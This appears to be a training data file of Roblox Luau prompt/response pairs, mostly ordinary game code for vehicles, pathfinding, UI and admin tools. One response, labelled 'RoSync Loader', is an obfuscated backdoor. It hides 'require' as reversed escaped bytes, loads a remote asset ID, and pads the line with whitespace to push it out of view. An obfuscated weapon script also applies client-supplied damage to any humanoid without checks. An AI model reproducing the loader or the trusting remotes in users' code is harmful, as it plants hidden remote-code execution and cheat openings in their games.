	-- Route requests to server endpoint if in filter mode
	if IsFilterModeEnabled() then
		return ServerEndpoint:InvokeServer(...);

	-- Perform requests locally if working locally
	else
		SyncModule = require(SyncAPI:WaitForChild 'SyncModule');
		return SyncModule.PerformAction(Game.Players.LocalPlayer, ...);
	end;

end;


Prompt:
-- Implement Signal:Wait() in terms of a temporary connection using
-- a Signal:Connect() which disconnects itself.

Response:
function Signal:Wait()
	local waitingCoroutine = coroutine.running()
	local cn;
	cn = self:Connect(function(...)
		cn:Disconnect()
		task.spawn(waitingCoroutine, ...)
	end)
	return coroutine.yield()
end


Prompt: -- services

Response: local HttpService = game:GetService("HttpService")


Prompt: --!strict

Response:
export type Error = { name: string, message: string, stack: string? }

local Error = {}

local DEFAULT_NAME = "Error"
Error.__index = Error
Error.__tostring = function(self)
	-- Luau FIXME: I can't cast to Error or Object here: Type 'Object' could not be converted into '{ @metatable *unknown*, {|  |} }'
	return getmetatable(Error :: any).__tostring(self)
end

function Error.new(message: string?): Error
	return (
		setmetatable({
			name = DEFAULT_NAME,
			message = message or "",
			stack = debug.traceback(nil, 2),
		}, Error) :: any
	) :: Error
end

return setmetatable(Error, {
	__call = function(_, ...)
		local inst = Error.new(...)
		inst.stack = debug.traceback(nil, 2)
		return inst
	end,
	__tostring = function(self)
		if self.name ~= nil then
			if self.message and self.message ~= "" then
				return string.format("%s: %s", tostring(self.name), tostring(self.message))
			end
			return tostring(self.name)
		end
		return tostring(DEFAULT_NAME)
	end,
})


Prompt: --// bolekinds

Response:
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent

script.Parent.MouseButton1Click:Connect(function()
	if plr.YouCash.Value >= 500 and game.ServerStorage.ServerData.CatBed.Value == false then
		script.Parent.Parent.Parent.Ching:Play()
		plr.YouCash.Value -= 500
		game.ServerStorage.ServerData.CatBed.Value = true
	end
end)


Prompt: --// All global vars will be wiped/replaced except script

Response:
return function(data, env)
	if env then
		setfenv(1, env)
	end

	local playergui = service.PlayerGui
	local gui = client.UI.Prepare(script.Parent.Parent)
	local label = gui.LABEL
	local str = data.Message
	local topbar = client.UI.Get("TopBar")

	client.UI.Remove("Notif",script.Parent.Parent)

	local log  = {
		Type = "Notif";
		Title = "Notif";
		Message = str;
		Icon = "rbxassetid://7501175708";
		Time = os.date("%X");
		Function = nil;
	}

	table.insert(client.Variables.CommunicationsHistory, log)
	service.Events.CommsPanel:Fire(log)

	if str and type(str)=="string" then
		label.Text = str
		label.Position = UDim2.new(0, 0, 0, ((topbar and 40) or 0) - 35)
		gTable:Ready()
	else
		gui:Destroy()
	end
end


Prompt:
-- dependencies : (dictionary<string, table>) a map of requirements
-- dependencies.networking : (table) an object that implements POST and returns a promise

Response:
function GAReporter.new(dependencies)
	local reporter = {
		-- trackingId sends the data to the right GA property.
		trackingId = PROPERTY_ID,

		-- userId is meant to help identify recurring users,
		-- If you plan on using GAReporter on a per-client basis, you should set this value
		userId = HttpService:GenerateGUID(),

		-- clientId is meant to identify a given session that data is coming from.
		clientId = HttpService:GenerateGUID(),

		-- our HTTP handler
		_networking = dependencies.networking,
	}
	setmetatable(reporter, GAReporter)

	return reporter
end

function GAReporter:setUserId(userId)
	assert(type(userId) == "string", "userId must be a string")
	self.userId = userId
end


Response:
local function CheckAlive()
	local humanoid = findPlayerHumanoid(Player)
	return humanoid ~= nil and humanoid.Health > 0
end

local function GetEquippedTool(character: Model?)
	if character ~= nil then
		for _, child in pairs(character:GetChildren()) do
			if child:IsA('Tool') then
				return child
			end
		end
	end
end

local ExistingPather = nil
local ExistingIndicator = nil
local PathCompleteListener = nil
local PathFailedListener = nil

local function CleanupPath()
	if ExistingPather then
		ExistingPather:Cancel()
		ExistingPather = nil
	end
	if PathCompleteListener then
		PathCompleteListener:Disconnect()
		PathCompleteListener = nil
	end
	if PathFailedListener then
		PathFailedListener:Disconnect()
		PathFailedListener = nil
	end
	if ExistingIndicator then
		ExistingIndicator:Destroy()
	end
end

local function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath)
	if ExistingPather then
		CleanupPath()
	end
	ExistingPather = thisPather
	thisPather:Start(overrideShowPath)

	PathCompleteListener = thisPather.Finished.Event:Connect(function()
		CleanupPath()
		if hitChar then
			local currentWeapon = GetEquippedTool(character)
			if currentWeapon then
				currentWeapon:Activate()
			end
		end
	end)
	PathFailedListener = thisPather.PathFailed.Event:Connect(function()
		CleanupPath()
		if overrideShowPath == nil or overrideShowPath then
			local shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive())
			if shouldPlayFailureAnim then
				ClickToMoveDisplay.PlayFailureAnimation()
			end
			ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
		end
	end)
end

local function ShowPathFailedFeedback(hitPt)
	if ExistingPather and ExistingPather:IsActive() then
		ExistingPather:Cancel()
	end
	if PlayFailureAnimation then
		ClickToMoveDisplay.PlayFailureAnimation()
	end
	ClickToMoveDisplay.DisplayFailureWaypoint(hitPt)
end

function OnTap(tapPositions: {Vector3}, goToPoint: Vector3?, wasTouchTap: boolean?)
	-- Good to remember if this is the latest tap event
	local camera = Workspace.CurrentCamera
	local character = Player.Character

	if not CheckAlive() then return end

	-- This is a path tap position
	if #tapPositions == 1 or goToPoint then
		if camera then
			local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y)
			local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000)

			local myHumanoid = findPlayerHumanoid(Player)
			local hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList())

			local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart)
			if wasTouchTap and hitHumanoid and StarterGui:GetCore("AvatarContextMenuEnabled") then
				local clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent)
				if clickedPlayer then
					CleanupPath()
					return
				end
			end
			if goToPoint then
				hitPt = goToPoint
				hitChar = nil
			end
			if hitPt and character then
				-- Clean up current path
				CleanupPath()
				local thisPather = Pather(hitPt, hitNormal)
				if thisPather:IsValidPath() then
					HandleMoveTo(thisPather, hitPt, hitChar, character)
				else
					-- Clean up
					thisPather:Cleanup()
					-- Feedback here for when we don't have a good path
					ShowPathFailedFeedback(hitPt)
				end
			end
		end
	elseif #tapPositions >= 2 then
		if camera then
			-- Do shoot
			local currentWeapon = GetEquippedTool(character)
			if currentWeapon then
				currentWeapon:Activate()
			end
		end
	end
end

local function DisconnectEvent(event)
	if event then
		event:Disconnect()
	end
end


Prompt:
--[[**
	matches any type except nil

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]

Response:
function t.any(value)
	if value ~= nil then
		return true
	else
		return false, "any expected, got nil"
	end
end


Prompt: --[[Steering]]

Response:
	Tune.SteerInner		= 48		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 45		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .05		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .1		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 320		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree

	--Steer Gyro Tuning
	Tune.SteerD			= 1000		-- Steering Dampening
	Tune.SteerMaxTorque	= 50000		-- Steering Force
	Tune.SteerP			= 100000	-- Steering Aggressiveness


Response:
This = script.Parent
Elevator = This.Parent.Parent.Parent
CustomLabel = require(This.Parent.Parent.Parent.CustomLabel)
Characters = require(script.Characters)

CustomText = CustomLabel["CUSTOMFLOORLABEL"]

Elevator:WaitForChild("Floor").Changed:connect(function(floor)
  --custom indicator code--
  ChangeFloor(tostring(floor))
end)

function ChangeFloor(SF)
	if CustomText[tonumber(SF)] then
		SF = CustomText[tonumber(SF)]
	end
	SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
	SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end

function SetDisplay(ID,CHAR)
	if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
 		for i,l in pairs(Characters[CHAR]) do
			for r=1,57 do
				This.Display["DIG"..ID]["D"..r].Transparency = (l:sub(r,r) == "1" and 0 or 0.997)
			end
		end
	end
end


Prompt: -- PLEASE DONT DELETE THIS README SCRIPT. IT CONTAINS THE BUTTON SCRIPT!


Prompt: -- Create component

Response:
local Dock = Roact.PureComponent:extend(script.Name)

function Dock:init()
    self.DockSize, self.SetDockSize = Roact.createBinding(UDim2.new())
end

function Dock:render()
    return new('Frame', {
        Active = true;
        AnchorPoint = Vector2.new(1, 0.5);
        BackgroundTransparency = 1;
        Position = UDim2.new(1, -10, 0.6, 0);
        Size = self.DockSize;
        ZIndex = 0;
    }, {
        Layout = new('UIListLayout', {
            Padding = UDim.new(0, 1);
            FillDirection = Enum.FillDirection.Vertical;
            HorizontalAlignment = Enum.HorizontalAlignment.Left;
            VerticalAlignment = Enum.VerticalAlignment.Top;
            SortOrder = Enum.SortOrder.LayoutOrder;
            [Roact.Ref] = function (rbx)
                if rbx then
                    self.SetDockSize(UDim2.fromOffset(rbx.AbsoluteContentSize.X, rbx.AbsoluteContentSize.Y))
                end
            end;
            [Roact.Change.AbsoluteContentSize] = function (rbx)
                self.SetDockSize(UDim2.fromOffset(rbx.AbsoluteContentSize.X, rbx.AbsoluteContentSize.Y))
            end;
        });
        ToolList = new(ToolList, {
            LayoutOrder = 0;
            Tools = self.props.Tools;
            Core = self.props.Core;
        });
        SelectionPane = new(SelectionPane, {
            LayoutOrder = 1;
            Core = self.props.Core;
        });
        AboutPane = new(AboutPane, {
            LayoutOrder = 2;
            Core = self.props.Core;
        });
    })
end

return Dock


Response:
local pi    = math.pi
local abs   = math.abs
local clamp = math.clamp
local exp   = math.exp
local rad   = math.rad
local sign  = math.sign
local sqrt  = math.sqrt
local tan   = math.tan

local ContextActionService = game:GetService("ContextActionService")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local StarterGui = game:GetService("StarterGui")
local UserInputService = game:GetService("UserInputService")
local Workspace = game:GetService("Workspace")

local LocalPlayer = Players.LocalPlayer
if not LocalPlayer then
	Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
	LocalPlayer = Players.LocalPlayer
end

local Camera = Workspace.CurrentCamera
Workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
	local newCamera = Workspace.CurrentCamera
	if newCamera then
		Camera = newCamera
	end
end)


Prompt: --// Events

Response:
L_34_.OnServerEvent:connect(function(L_84_arg1)
	for L_85_forvar1, L_86_forvar2 in pairs(L_30_:GetChildren()) do
		if L_86_forvar2.Name:sub(1, 7) == "FlashFX" then
			L_86_forvar2.Enabled = true
		end
	end;

	delay(1 / 30, function()
		for L_87_forvar1, L_88_forvar2 in pairs(L_30_:GetChildren()) do
			if L_88_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_88_forvar2.Enabled = false
			end
		end
	end);
end)

local L_52_
L_35_.OnServerEvent:connect(function(L_89_arg1, L_90_arg2, L_91_arg3)
	L_90_arg2:TakeDamage(L_91_arg3)
	if L_90_arg2.Health <= 0 and L_90_arg2 ~= L_52_ then
		if L_4_:FindFirstChild(L_2_.Name) then
			local L_92_ = L_4_[L_2_.Name]
			L_92_.Value = not L_92_.Value
		end
		L_39_:FireClient(L_89_arg1)
		L_52_ = L_90_arg2
	end
end)

L_36_.OnServerEvent:connect(function(L_93_arg1, L_94_arg2)
	local L_95_ = Instance.new("ObjectValue")
	L_95_.Name = "creator"
	L_95_.Value = L_93_arg1
	L_95_.Parent = L_94_arg2
	game.Debris:AddItem(L_95_, 3)
end)

L_37_.OnServerEvent:connect(function(L_96_arg1, L_97_arg2, L_98_arg3)
	local L_99_ = L_96_arg1.Character
	local L_100_ = L_99_:FindFirstChild('Torso')
	local L_101_ = L_99_:FindFirstChild('HumanoidRootPart'):FindFirstChild('RootJoint')
	local L_102_ = L_100_:FindFirstChild('Right Hip')
	local L_103_ = L_100_:FindFirstChild('Left Hip')
	local L_104_ = L_100_:FindFirstChild('Clone')

	if L_97_arg2 == "Prone" and L_99_ and L_104_ then
		L_101_.C0 = CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195)
		L_102_.C0 = CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009)
		L_103_.C0 = CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009)
		L_104_.C0 = CFrame.new(0, -2.04640698, -0.799179077, -1, 0, -8.57672189e-15, 8.57672189e-15, 0, 1, 0, 1, 0)
	elseif L_97_arg2 == "Crouch" and L_99_ and L_104_ then
		L_101_.C0 = CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015)
		L_102_.C0 = CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0)
		L_103_.C0 = CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0)
		L_104_.C0 = CFrame.new(0, -0.0399827957, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
	elseif L_97_arg2 == "Stand" and L_99_ and L_104_ then
		L_101_.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
		L_102_.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
		L_103_.C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
		L_104_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)
	elseif L_97_arg2 == "LeanRight" then
		L_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0)
		L_102_.C1 = CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0)
		L_104_.C1 = CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
	elseif L_97_arg2 == "LeanLeft" then
		L_101_.C1 = CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0)
		L_103_.C1 = CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0)
		L_104_.C1 = CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)
	elseif L_97_arg2 == "Unlean" then
		L_101_.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		L_102_.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
		L_103_.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
		if L_100_:FindFirstChild('Clone') then
			L_104_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
		end
	elseif L_97_arg2 == "Patrol" then
		L_19_.C1 = L_98_arg3
	elseif L_97_arg2 == "Unpatrol" then
		L_19_.C1 = CFrame.new()
	end
end)

L_38_.OnServerInvoke = function(L_105_arg1, L_106_arg2, L_107_arg3, L_108_arg4, L_109_arg5, L_110_arg6, L_111_arg7)
	local L_112_ = Instance.new("Part", workspace)
	L_112_.FormFactor = "Custom"
	L_112_.TopSurface = 0
	L_112_.BottomSurface = 0
	L_112_.Transparency = 1
	L_112_.Anchored = true
	L_112_.CanCollide = false
	L_112_.Size = Vector3.new(0.5, 0, 0.5)
	L_112_.CFrame = CFrame.new(L_106_arg2) * CFrame.fromAxisAngle(L_107_arg3.magnitude == 0 and Vector3.new(1) or L_107_arg3.unit, L_108_arg4)
	L_112_.BrickColor = BrickColor.new("Really black")
	L_112_.Material = "SmoothPlastic"

	local L_113_ = Instance.new("Decal", L_112_)
	L_113_.Texture = "rbxassetid://64291977"
	L_113_.Face = "Top"
	game.Debris:AddItem(L_113_, 3)

	local L_114_ = Instance.new("PointLight", L_112_)
	L_114_.Color = Color3.new(0, 0, 0)
	L_114_.Range = 0
	L_114_.Shadows = true

	--[[local Meta = Instance.new("Sound")
	Meta.Name = "Crack"

	if h.Material == Enum.Material.Grass or h.Material == Enum.Material.Ice or h.Material == Enum.Material.Fabric or h.Material == Enum.Material.Pebble then
		Meta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)
		Meta.Name = 'Crack'
		Meta.SoundId = "rbxassetid://" .. DirtSounds[math.random(0,#DirtSounds)]
	end

	if h.Material == Enum.Material.Sand then
		Meta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)
		Meta.Name = 'Crack'
		Meta.SoundId = "rbxassetid://" .. SandSounds[math.random(0,#SandSounds)]
	end

	if h.Material == Enum.Material.Glass or h.Material == Enum.Material.Neon then
		Meta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)
		Meta.Name = 'Crack'
		Meta.SoundId = "rbxassetid://" .. GlassSounds[math.random(0,#GlassSounds)]
	end

	if h.Material == Enum.Material.Wood or h.Material == Enum.Material.WoodPlanks then
		Meta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)
		Meta.Name = 'Crack'
		Meta.SoundId = "rbxassetid://" .. WoodSounds[math.random(0,#WoodSounds)]
	end

	if h.Material == Enum.Material.Metal or h.Material == Enum.Material.CorrodedMetal or h.Material == Enum.Material.DiamondPlate then
		Meta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)
		Meta.Name = 'Crack'
		Meta.SoundId = "rbxassetid://" .. MetalSounds[math.random(0,#MetalSounds)]
	end

	if h.Material == Enum.Material.Water then
		Meta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)
		Meta.Name = 'Crack'
		Meta.SoundId = "rbxassetid://" .. WaterSounds[math.random(0,#WaterSounds)]
	end

	if h.Material == Enum.Material.Concrete or h.Material == Enum.Material.Plastic or h.Material == Enum.Material.SmoothPlastic or h.Material == Enum.Material.Slate or h.Material == Enum.Material.Foil or h.Material == Enum.Material.Brick or h.Material == Enum.Material.Granite or h.Material == Enum.Material.Marble or h.Material == Enum.Material.Cobblestone then
		Meta = Crack:FindFirstChild('Crack') or Instance.new('Sound',Crack)
		Meta.Name = 'Crack'
		Meta.SoundId = "rbxassetid://" .. ConcreteSounds[math.random(0,#ConcreteSounds)]
	end

	Meta.Volume = math.random(0.8,1)
	Meta.EmitterSize = 10
	Meta.MaxDistance = 30
	Meta.Pitch = math.random(0,0.6)
	Meta.Parent = Crack
	Meta:play()]]--

	game.Debris:AddItem(L_112_, 3)

	local L_115_
	local L_116_

	if L_110_arg6 == "Part" then
		L_115_ = L_31_:WaitForChild("Spark"):clone()
		L_115_.Parent = L_112_
		L_115_.EmissionDirection = "Top"

		L_116_ = L_31_:WaitForChild("Smoke"):clone()
		L_116_.Parent = L_112_
		L_116_.EmissionDirection = "Top"

		L_115_.Enabled = true
		L_116_.Enabled = true

		game.Debris:AddItem(L_115_, 1)
		game.Debris:AddItem(L_116_, 1)

		delay(0.1, function()
			L_115_.Enabled = false
			L_116_.Enabled = false
		end)
	elseif L_110_arg6 == "Human" then
		L_115_ = L_31_:WaitForChild("Blood"):clone()
		L_115_.Parent = L_112_
		L_115_.EmissionDirection = "Top"
		L_115_.Enabled = true

		game.Debris:AddItem(L_115_, 1)

		delay(0.1, function()
			L_115_.Enabled = false
		end)
	end
end;

L_40_.OnServerEvent:connect(function(L_117_arg1, L_118_arg2)
	L_40_:FireAllClients(L_117_arg1, L_118_arg2)
end)

L_41_.OnServerEvent:connect(function(L_119_arg1, L_120_arg2)
	local L_121_ = Instance.new('Part', workspace)
	L_121_.Size = Vector3.new(0.1, 0.1, 0.1)
	L_121_.Transparency = 1
	L_121_.CanCollide = false
	L_121_.Anchored = true
	L_121_.Position = L_120_arg2
	local L_122_ = Instance.new('Explosion', workspace)
	L_122_.Position = L_120_arg2
	L_122_.BlastPressure = L_12_.BlastPressue
	L_122_.BlastRadius = L_12_.BlastRadius
	L_122_.DestroyJointRadiusPercent = L_12_.DestroyJointRadius
	L_122_.ExplosionType = L_12_.ExplosionType
	local L_123_ = L_31_:WaitForChild('ExplosionSound'):clone()
	L_123_.Parent = L_121_
	L_123_:Play()
	game:GetService('Debris'):AddItem(L_121_, L_123_.TimeLength)
end)

L_43_.OnServerEvent:connect(function(L_124_arg1, L_125_arg2)
	for L_126_forvar1, L_127_forvar2 in pairs(game.Players:GetChildren()) do
		if L_127_forvar2.PlayerGui:FindFirstChild('MainGui') and L_127_forvar2.PlayerGui.MainGui:FindFirstChild('Shading') then
			for L_128_forvar1, L_129_forvar2 in pairs(L_127_forvar2.Character:GetChildren()) do
				if L_129_forvar2:IsA('Tool') and L_129_forvar2:FindFirstChild('Resource') and L_129_forvar2.Resource:FindFirstChild('Events') and L_129_forvar2.Resource.Events:FindFirstChild('ServerFXEvent') then
					L_129_forvar2.Resource.Events.ServerFXEvent:FireClient(L_127_forvar2, L_125_arg2, L_2_)
				end
			end
		end
	end
end)

L_44_.OnServerEvent:connect(function(L_130_arg1, L_131_arg2, L_132_arg3)
	L_131_arg2.SoundId = 'rbxassetid://' .. L_132_arg3
	L_131_arg2:Play()
end)


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 100		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 800		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 8000		--		Use sliders to manipulate values
	Tune.Redline		= 9000		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 6100
	Tune.PeakSharpness	= 3.8
	Tune.CurveMult		= 0.07

	--Incline Compensation
	Tune.InclineComp	= 1.5		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 450		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 150		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)


Prompt: --Run

Response:
local ver=require(car["A-Chassis Tune"].README)
print("//INSPARE: AC6 Loaded - Build "..ver)

while wait() do
	Steering()
	Engine()
	if _Tune.AutoFlip then Flip() end

	_IsOn = script.Parent.IsOn.Value
	_InControls = script.Parent.ControlsOpen.Value
	script.Parent.Values.Gear.Value = _CGear
	script.Parent.Values.RPM.Value = _RPM
	script.Parent.Values.Horsepower.Value = _HP
	script.Parent.Values.Torque.Value = _HP * 5250 / _RPM
	script.Parent.Values.TransmissionMode.Value = _TMode
	script.Parent.Values.Throttle.Value = _GThrot
	script.Parent.Values.Brake.Value = _GBrake
	script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-_Tune.MinSteer))
	script.Parent.Values.SteerT.Value = _GSteerT
	script.Parent.Values.PBrake.Value = _PBrake
	script.Parent.Values.TCS.Value = _TCS
	script.Parent.Values.TCSActive.Value = _TCSActive
	script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity

	if _PGear~=_CGear then
		_PGear=_CGear
		car.DriveSeat.MaxSpeed = car.DriveSeat.Velocity.Magnitude*(_Tune.Redline/_RPM) + script.Parent.Values.PSI.Value
	end

end


Prompt: -- wandering

Response:
spawn(function()
	while vars.Wandering.Value == false and human.Health > 0 do
		vars.Chasing.Value = false
		vars.Wandering.Value = true
		local desgx, desgz = hroot.Position.x+math.random(-WanderX,WanderX), hroot.Position.z+math.random(-WanderZ,WanderZ)
		local function checkw(t)
			local ci = 3
			if ci > #t then
				ci = 3
			end
			if t[ci] == nil and ci < #t then
				repeat ci = ci + 1 wait() until t[ci] ~= nil
				return Vector3.new(1,0,0) + t[ci]
			else
				ci = 3
				return t[ci]
			end
		end

		path = pfs:FindPathAsync(hroot.Position, Vector3.new(desgx, 0, desgz))
		waypoint = path:GetWaypoints()
		local connection;

		local direct = Vector3.FromNormalId(Enum.NormalId.Front)
		local ncf = hroot.CFrame * CFrame.new(direct)
		direct = ncf.p.unit
		local rootr = Ray.new(hroot.Position, direct)
		local phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)

		if path and waypoint or checkw(waypoint) then
			if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then
				human:MoveTo( checkw(waypoint).Position )
				human.Jump = false
			end

			if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then
				connection = human.Changed:connect(function()
					human.Jump = true
				end)
				human:MoveTo( waypoint[4].Position )
			else
				human.Jump = false
			end

			if connection then
				connection:Disconnect()
			end

		else
			for i = 3, #waypoint do
				human:MoveTo( waypoint[i].Position )
			end
		end
		wait(math.random(4,6))
		vars.Wandering.Value = false
	end
end)


Prompt: -- button

Response:
do
	button.__index = button

	function button:set_callback(callback: callback)
		if (self.connection) then
			self.connection:Disconnect()
		end

		self.connection = self.button.ImageButton.MouseButton1Click:Connect(callback)
	end
end

return sidebar


Prompt: -- << VARIABLES >>

Response:
local autosaveInterval = 90
local datastoreRetries = 3
local DataVersion = main.settings.PlayerDataStoreVersion or "V1.0"
local success, playerDataStore = pcall(function() return(main.dataStoreService:GetDataStore("HDAdminPlayerData"..DataVersion)) end)


Prompt: -- services

Response:
local ReplicatedStorage	= game:GetService("ReplicatedStorage")
local TweenService		= game:GetService("TweenService")
local Workspace			= game:GetService("Workspace")
local Debris			= game:GetService("Debris")


Prompt: --[[ Last synced 3/7/2021 02:44                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 1500		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 900		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 8000		--		Use sliders to manipulate values
	Tune.Redline		= 8700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 6500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: -- << LOCAL FUNCTIONS >>

Response:
local defaultSettingsToAdd = {"NoticeSoundId", "NoticeVolume", "NoticePitch", "ErrorSoundId", "ErrorVolume", "ErrorPitch", "AlertSoundId", "AlertVolume", "AlertPitch", "Prefix", "SplitKey"}
local defaultSettings = {}
coroutine.wrap(function()
	if not main.initialized then
		main.client.Signals.Initialized.Event:Wait()
	end
	for i,v in pairs(defaultSettingsToAdd) do
		defaultSettings[v] = settings[v]
	end
end)()
local function getDataTemplate()
	if not main.initialized then
		main.client.Signals.Initialized.Event:Wait()
	end
	return{

		DataKey 		= 0;
		DataToUpdate	= true;
		Theme			= settings.Theme;
		NoticeSoundId	= settings.NoticeSoundId;
		NoticeVolume	= settings.NoticeVolume;
		NoticePitch		= settings.NoticePitch;
		ErrorSoundId	= settings.ErrorSoundId;
		ErrorVolume		= settings.ErrorVolume;
		ErrorPitch		= settings.ErrorPitch;
		AlertSoundId	= settings.AlertSoundId;
		AlertVolume		= settings.AlertVolume;
		AlertPitch		= settings.AlertPitch;
		Prefix 			= settings.Prefix;
		SplitKey		= settings.SplitKey;
		MusicList 		= settings.MusicList;
		MuteLocalSound	= false;
		PreviousServer 	= game.JobId;
		Rank 			= 0;
		SaveRank		= false;
		PermRankedBy	= 3682;
		Donor 			= false;
		Gamepasses 		= {};
		Assets 			= {};

		DefaultSettings = defaultSettings; --If the owner changes these Settings, then update everyones data to the new setting.

		Groups 			= {};
		Friends 		= {};
		CommandsActive 	= {};
		LaserColor 		= Color3.fromRGB(255,0,0);
		PromptedDonor	= false;
		AutomaticRank	= false;
		Items 			= {};
		SetupData		= false;

	}
end

local function dataNotToSave()
	return{
		"Groups";
		"Friend";
		"CommandsActive";
		"LaserColor";
		"PromptedDonor";
		"AutomaticRank";
		"Items";
		"SetupData"
	}
end


Prompt:
--- Creates or finds a hitbox object. Returns an hitbox object
-- @param required object parameter that takes in either a part or a model

Response:
function RaycastHitbox.new(object: any?)
	local hitbox: any

	if object and CollectionService:HasTag(object, DEFAULT_COLLECTION_TAG_NAME) then
		hitbox = HitboxData:_FindHitbox(object)
	else
		hitbox = setmetatable({
			RaycastParams = nil,
			DetectionMode = RaycastHitbox.DetectionMode.Default,
			HitboxRaycastPoints = {},
			HitboxPendingRemoval = false,
			HitboxStopTime = 0,
			HitboxObject = object,
			HitboxHitList = {},
			HitboxActive = false,
			Visualizer = SHOW_DEBUG_RAY_LINES,
			DebugLog = SHOW_OUTPUT_MESSAGES,
			OnUpdate = Signal:Create(),
